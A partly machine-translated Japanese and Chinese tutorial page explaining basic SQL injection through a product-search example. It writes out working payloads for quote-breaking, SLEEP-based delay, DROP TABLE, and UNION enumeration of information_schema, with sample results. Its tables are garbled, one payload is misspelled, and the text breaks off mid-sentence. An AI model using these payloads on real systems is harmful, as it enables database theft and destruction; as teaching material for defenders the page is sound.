ホームページ  >  記事  >  データベース  >  SQL インジェクションの基本原理をすぐに理解する

SQL インジェクションの基本原理をすぐに理解する

angryTom
angryTom転載
2019-11-29 14:41:433352ブラウズ

SQL インジェクションの基本原理をすぐに理解する

##SQL インジェクションの基本原則

WEB テクノロジーは急速に発展していますが、素手で SQL を綴るという伝統的な技術は依然としてかなりのユーザーに好まれています。開発者が少ない。結局のところ、一連の複雑な ORM ルールを学習するよりも、手作業で行う方が便利で直感的です。通常、自分で SQL を書く人は、

SQL インジェクション が危険であることを聞いたことがあるはずですが、彼らは常に次のように考えています。「私の SQL ステートメントは非常に単純なので、インジェクションすることはできません。」

この完全な例を 5 分で読んでください。今後は、危険を冒すことを決して避けてください。

簡単なシナリオ

製品名を入力し、対応する価格、製造日、製造場所の情報を表示する WEB インターフェイスがあります。たとえば、「ハンマー ディスプレイ」と入力します。

ProductPricePlace ofproductionDate ofproductionクローハンマー12.98アメリカン2019.11.07クラブハンマー29.98カナダ2019.11.11##ウェブ構築のプロセスをスキップしました検索インターフェイス、重要な部分に直接焦点を当てます:
SQL インジェクション

上記の機能を実現したい場合、サーバーで使用される SQL ステートメントは次のとおりであると大まかに推測できます:

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';

where? は、現時点では具体的な内容がわからないことを意味します。テーブル名とフィールド名であり、この SQL は一意です。操作できるのは、シングルクォート '%Hammer%' 内の入力内容です。検索ボックスに一重引用符を直接入力した場合。つまり、

select ? from ? where ? Like '%'%';

になります。このように結合すると、SQL 構文エラーが発生し、結果が得られません。

--

を使用して、最後の単一をコメントアウトする必要があります。引用。 <pre class="brush:sql;toolbar:false;">select ? from ? where ? Like &amp;#39;%&amp;#39;; -- %&amp;#39;;</pre>

--

の後にコメント内容が続きます (# も使用できます)。これにより、すべての製品情報を取得できます。匂いを嗅いだことがない、危険信号だ。

##製品価格生産地生産日#クローハンマー12.98アメリカン2019.11.07クラブハンマー29.98カナダ2019.11.11果物ナイフ10.98中国2019.11.11骨抜きナイフ19.98中国2019.01.01実際に試して、

# 前のステップの展開可能な一重引用符の部分をそのままにしておきます。単純な遅延ステートメントを試してみましょう:

select ? from ? where ? Like &#39;%Hammer%&#39; and 1 = SLEEP(2); -- %&#39;;

現時点では、クエリが結果を返すまでに 2 秒かかります。時間が延長される場合は、スクリプトを使用してクエリを数回実行すると、データベース接続プールが一発で復旧。

もちろん、さらに破壊的なものもあります。

select ? from ? where ? Like &#39;%Hammer%&#39;; drop table xxxx; -- %&#39;;

テーブル/データベースを直接削除できますが、データベースにどのテーブルがあるかを知る方法 (つまり、前の SQL 文の xxxx を確認する方法) についてはどうすればよいですか?

結合したいことは何でもしてください

このデータベースにどのようなテーブルがあるのか​​を知る必要があります。この方法でのみ有益な情報を得ることができます。

ユニオンを使用すると、さまざまなテーブルの内容を結合できます。試してみてください:

select ?,?,?,? from ? where ? Like &#39;%Hammer%&#39; UNION (select 1,2,3,4 from dual); -- %&#39;;

##ProductPriceクローハンマー12.9829.982
生産地 生産日
アメリカ 2019.11.07 クラブハンマー
カナダ 2019.11.11 1
3 4

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like &#39;%Hammer%&#39; UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %&#39;;
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
authors hawkeye 3 4
products hawkeye 3 4
user hawkeye 3 4
.... .... 3 4

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like &#39;%Hammer%&#39; UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = &#39;products&#39;); -- %&#39;;
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
id hawkeye 3 4
name hawkeye 3 4
price hawkeye 3 4
address hawkeye 3 4
updated_at hawkeye 3 4

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like &#39;%Hammer%&#39;;

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

以上がSQL インジェクションの基本原理をすぐに理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcnblogs.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。